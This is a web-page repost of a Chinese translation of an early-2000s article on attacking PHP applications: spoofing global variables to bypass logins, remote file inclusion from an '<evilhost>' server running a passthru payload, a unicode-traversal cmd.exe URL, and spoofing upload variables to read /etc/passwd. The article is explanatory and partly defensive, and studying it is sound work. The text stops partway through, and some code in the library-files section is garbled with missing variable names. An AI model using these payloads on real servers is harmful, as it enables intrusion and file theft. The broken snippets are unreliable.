分享
 
 
 

对PHP程序中的常见漏洞进行攻击

王朝php·作者佚名  2006-11-24
窄屏简体版  字體: |||超大  

之所以翻译这篇文章,是因为目前关于CGI安全性的文章都是拿Perl作为例子,而专门介绍ASP,PHP或者JSP安全性的文章则很少。Shaun Clowes的这篇文章比较全面地介绍了PHP的安全问题,原文可以在http://www.securereality.com.au/studyinscarlet.txt找到。

由于原文比较长,而且有相当一部分是介绍文章的背景或PHP的基础知识,没有涉及到PHP安全方面的内容,因此我没有翻译。如果你想了解这方面的知识,请参考原文。

文章主要从全局变量,远程文件,文件上载,库文件,Session文件,数据类型和容易出错的函数这几个方面分析了PHP的安全性,并且对如何增强PHP的安全性提出了一些有用的建议。

好了,废话少说,我们言归正传!

[全局变量]

PHP中的变量不需要事先声明,它们会在第一次使用时自动创建,它们的类型也不需要指定,它们会根据上下文环境自动确定。从程序员的角度来看,这无疑是一种极其方便的处理方法。很显然,这也是快速开发语言的一个很有用的特点。一旦一个变量被创建了,就可以在程序中的任何地方使用。这个特点导致的结果就是程序员很少初始化变量,毕竟,当它们第一次创建时,他们是空的。

很显然,基于PHP的应用程序的主函数一般都是接受用户的输入(主要是表单变量,上载文件和Cookie等),然后对输入数据进行处理,然后把结果返回到客户端浏览器。为了使PHP代码访问用户的输入尽可能容易,实际上PHP是把这些输入数据看作全局变量来处理的。

例如:

<FORM METHOD="GET" ACTION="test.php">

<INPUT TYPE="TEXT" NAME="hello">

<INPUT TYPE="SUBMIT">

</FORM>

很显然,这会显示一个文本框和提交按钮。当用户点击提交按钮时,“test.php”会处理用户的输入,当“test.php”运行时,“$hello”会包含用户在文本框输入的数据。从这里我们应该看出,攻击者可以按照自己的意愿创建任意的全局变量。如果攻击者不是通过表单输入来调用“test.php”,而是直接在浏览器地址栏输入http://server/test.php?hello=hi&setup=no,那么,不止是“$hello”被创建,“$setup”也被创建了。

译者注:这两种方法也就是我们通常说的“POST”和“GET”方法。

下面的用户认证代码暴露了PHP的全局变量所导致的安全问题:

<?php

if ($pass == "hello")

$auth = 1;

...

if ($auth == 1)

echo "some important information";

?>

上面的代码首先检查用户的密码是否为“hello”,如果匹配的话,设置“$auth”为“1”,即通过认证。之后如果“$suth”为“1”的话,就会显示一些重要信息。

表面看起来是正确的,而且我们中有相当一部分人是这样做的,但是这段代码犯了想当然的错误,它假定“$auth”在没有设置值的时候是空的,却没有想到攻击者可以创建任何全局变量并赋值,通过类似“http://server/test.php?auth=1”的方法,我们完全可以欺骗这段代码,使它相信我们是已经认证过的。

因此,为了提高PHP程序的安全性,我们不能相信任何没有明确定义的变量。如果程序中的变量很多的话,这可是一项非常艰巨的任务。

一种常用的保护方式就是检查数组HTTP_GET[]或POST_VARS[]中的变量,这依赖于我们的提交方式(GET或POST)。当PHP配置为打开“track_vars”选项的话(这是缺省值),用户提交的变量就可以在全局变量和上面提到的数组中获得。

但是值得说明的是,PHP有四个不同的数组变量用来处理用户的输入。HTTP_GET_VARS数组用来处理GET方式提交的变量,HTTP_POST_VARS数组用于处理POST方式提交的变量,HTTP_COOKIE_VARS数组用于处理作为cookie头提交的变量,而对于HTTP_POST_FILES数组(比较新的PHP才提供),则完全是用户用来提交变量的一种可选方式。用户的一个请求可以很容易的把变量存在这四个数组中,因此一个安全的PHP程序应该检查这四个数组。

[远程文件]

PHP是一种具有丰富特性的语言,提供了大量的函数,使编程者实现某个功能很容易。但是从安全的角度来看,功能越多,要保证它的安全性就越难,远程文件就是说明这个问题的一个很好的例子:

<?php

if (!($fd = fopen("$filename", "r"))

echo("Could not open file: $filename<BR>\n");

?>

上面的脚本试图打开文件“$filename”,如果失败就显示错误信息。很明显,如果我们能够指定“$filename”的话,就能利用这个脚本浏览系统中的任何文件。但是,这个脚本还存在一个不太明显的特性,那就是它可以从任何其它WEB或FTP站点读取文件。实际上,PHP的大多数文件处理函数对远程文件的处理是透明的。

例如:

如果指定“$filename”为“http://target/scripts/..

%c1%1c../winnt/system32/cmd.exe?/c+dir”

则上面的代码实际上是利用主机target上的unicode漏洞,执行了dir命令。

这使得支持远程文件的include(),require(),include_once()和require_once()在上下文环境中变得更有趣。这些函数主要功能是包含指定文件的内容,并且把它们按照PHP代码解释,主要是用在库文件上。

例如:

<?php

include($libdir . "/languages.php");

?>

上例中“$libdir”一般是一个在执行代码前已经设置好的路径,如果攻击者能够使得“$libdir”没有被设置的话,那么他就可以改变这个路径。但是攻击者并不能做任何事情,因为他们只能在他们指定的路径中访问文件languages.php(perl中的“Poison null byte”攻击对PHP没有作用)。但是由于有了对远程文件的支持,攻击者就可以做任何事情。例如,攻击者可以在某台服务器上放一个文件languages.php,包含如下内容:

<?php

passthru("/bin/ls /etc");

?>

然后把“$libdir”设置为“http://<evilhost>/”,这样我们就可以在目标主机上执行上面的攻击代码,“/etc”目录的内容作为结果返回到客户的浏览器中。

需要注意的是,攻击服务器(也就是evilhost)应该不能执行PHP代码,否则攻击代码会在攻击服务器,而不是目标服务器执行,如果你想了解具体的技术细节,请参考:http://www.securereality.com.au/sradv00006.txt

[文件上载]

PHP自动支持基于RFC 1867的文件上载,我们看下面的例子:

<FORM METHOD="POST" ENCTYPE="multipart/form-data">

<INPUT TYPE="FILE" NAME="hello">

<INPUT TYPE="HIDDEN" NAME="MAX_FILE_SIZE" VALUE="10240">

<INPUT TYPE="SUBMIT">

</FORM>

上面的代码让用户从本地机器选择一个文件,当点击提交后,文件就会被上载到服务器。这显然是很有用的功能,但是PHP的响应方式使这项功能变的不安全。当PHP第一次接到这种请求,甚至在它开始解析被调用的PHP代码之前,它会先接受远程用户的文件,检查文件的长度是否超过“$MAX_FILE_SIZE variable”定义的值,如果通过这些测试的话,文件就会被存在本地的一个临时目录中。

因此,攻击者可以发送任意文件给运行PHP的主机,在PHP程序还没有决定是否接受文件上载时,文件已经被存在服务器上了。

这里我就不讨论利用文件上载来对服务器进行DOS攻击的可能性了。

让我们考虑一下处理文件上载的PHP程序,正如我们上面说的,文件被接收并且存在服务器上(位置是在配置文件中指定的,一般是/tmp),扩展名一般是随机的,类似“phpxXuoXG”的形式。PHP程序需要上载文件的信息以便处理它,这可以通过两种方式,一种方式是在PHP 3中已经使用的,另一种是在我们对以前的方法提出安全公告后引入的。

但是,我们可以肯定的说,问题还是存在的,大多数PHP程序还是使用老的方式来处理上载文件。PHP设置了四个全局变量来描述上载文件,比如说上面的例子:

$hello = Filename on local machine (e.g "/tmp/phpxXuoXG")

$hello_size = Size in bytes of file (e.g 1024)

$hello_name = The original name of the file on the

remote system (e.g "c:\\temp\\hello.txt")

$hello_type = Mime type of uploaded file (e.g "text/plain")

然后PHP程序开始处理根据“$hello”指定的文件,问题在于“$hello”不一定是一个PHP设置的变量,任何远程用户都可以指定它。如果我们使用下面的方式:

http://vulnhost/vuln.php?hello=/etc/passwd&hello_size=10240&hello_type=text/plain&hello_name=hello.txt

就导致了下面的PHP全局变量(当然POST方式也可以(甚至是Cookie)):

$hello = "/etc/passwd"

$hello_size = 10240

$hello_type = "text/plain"

$hello_name = "hello.txt"

上面的表单数据正好满足了PHP程序所期望的变量,但是这时PHP程序不再处理上载的文件,而是处理“/etc/passwd”(通常会导致内容暴露)。这种攻击可以用于暴露任何敏感文件的内容。

我在前面已经说了,新版本的PHP使用HTTP_POST_FILES[]来决定上载文件,同时也提供了很多函数来解决这个问题,例如有一个函数用来判断某个文件是不是实际上载的文件。这些函数很好的解决了这个问题,但是实际上肯定有很多PHP程序仍然使用旧的方法,很容易受到这种攻击。

作为文件上载的攻击方法的一个变种,我们看一下下面的一段代码:

<?php

if (file_exists($theme)) // Checks the file exists on the local system (no remote files)

include("$theme");

?>

如果攻击者可以控制“$theme”的话,很显然它可以利用“$theme”来读取远程系统上的任何文件。攻击者的最终目标是在远程服务器上执行任意指令,但是他无法使用远程文件,因此,他必须得在远程服务器上创建一个PHP文件。这乍看起来好象是不可能的,但是文件上载帮了我们这个忙,如果攻击者先在本地机器上创建一个包含PHP代码的文件,然后创建一个包含名为“theme”的文件域的表单,最后用这个表单通过文件上载把创建的包含PHP代码的文件提交给上面的代码,PHP就会把攻击者提交的文件保存起来,并把“$theme”的值设置为攻击者提交的文件,这样file_exists()函数会检查通过,攻击者的代码也将执行。

获得执行任意指令的能力之后,攻击者显然想提升权限或者是扩大战果,而这又需要一些服务器上没有的工具集,而文件上载又一次帮了我们这个忙。攻击者可以使用文件上载功能上载工具,把她们存在服务器上,然后利用他们执行指令的能力,使用chmod()改变文件的权限,然后执行。例如:攻击者可以绕过防火墙或IDS上载一个本地root攻击程序,然后执行,这样就获得了root权限。

[库文件]

正如我们前面讨论的那样,include()和require()主要是为了支持代码库,因为我们一般是把一些经常使用的函数放到一个独立的文件中,这个独立的文件就是代码库,当需要使用其中的函数时,我们只要把这个代码库包含到当前的文件中就可以了。

最初,人们开发和发布PHP程序的时候,为了区别代码库和主程序代码,一般是为代码库文件设置一个“.inc”的扩展名,但是他们很快发现这是一个错误,因为这样的文件无法被PHP解释器正确解析为PHP代码。如果我们直接请求服务器上的这种文件时,我们就会得到该文件的源代码,这是因为当把PHP作为Apache的模块使用时,PHP解释器是根据文件的扩展名来决定是否解析为PHP代码的。扩展名是站点管理员指定的,一般是“.php”, “.php3”和“.php4”。如果重要的配置数据被包含在没有合适的扩展名的PHP文件中,那么远程攻击者很容易得到这些信息。

最简单的解决方法就是给每个文件都指定一个PHP文件的扩展名,这样可以很好的防止泄露源代码的问题,但是又产生了新的问题,通过请求这个文件,攻击者可能使本该在上下文环境中运行的代码独立运行,这可能导致前面讨论的全部攻击。

下面是一个很明显的例子:

In main.php:

<?php

= "/libdir";

= "/languages";

...

include("/loadlanguage.php":

?>

In libdir/loadlanguage.php:

<?php

...

include("/");

?>

当“libdir/loadlanguage.php”被“main.php”调用时是相当安全的,但是因为“libdir/loadlanguage”具有“.php”的扩展名,因此远程攻击者可以直接请求这个文件,并且可以任意指定“

[Session文件]

PHP 4或更新的版本提供了对sessions的支持,它的主要作用是在PHP程序中保存页与页之间的状态信息。例如,当一个用户登陆进入网站,他登陆了这个事实以

[1] [2] 下一页

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有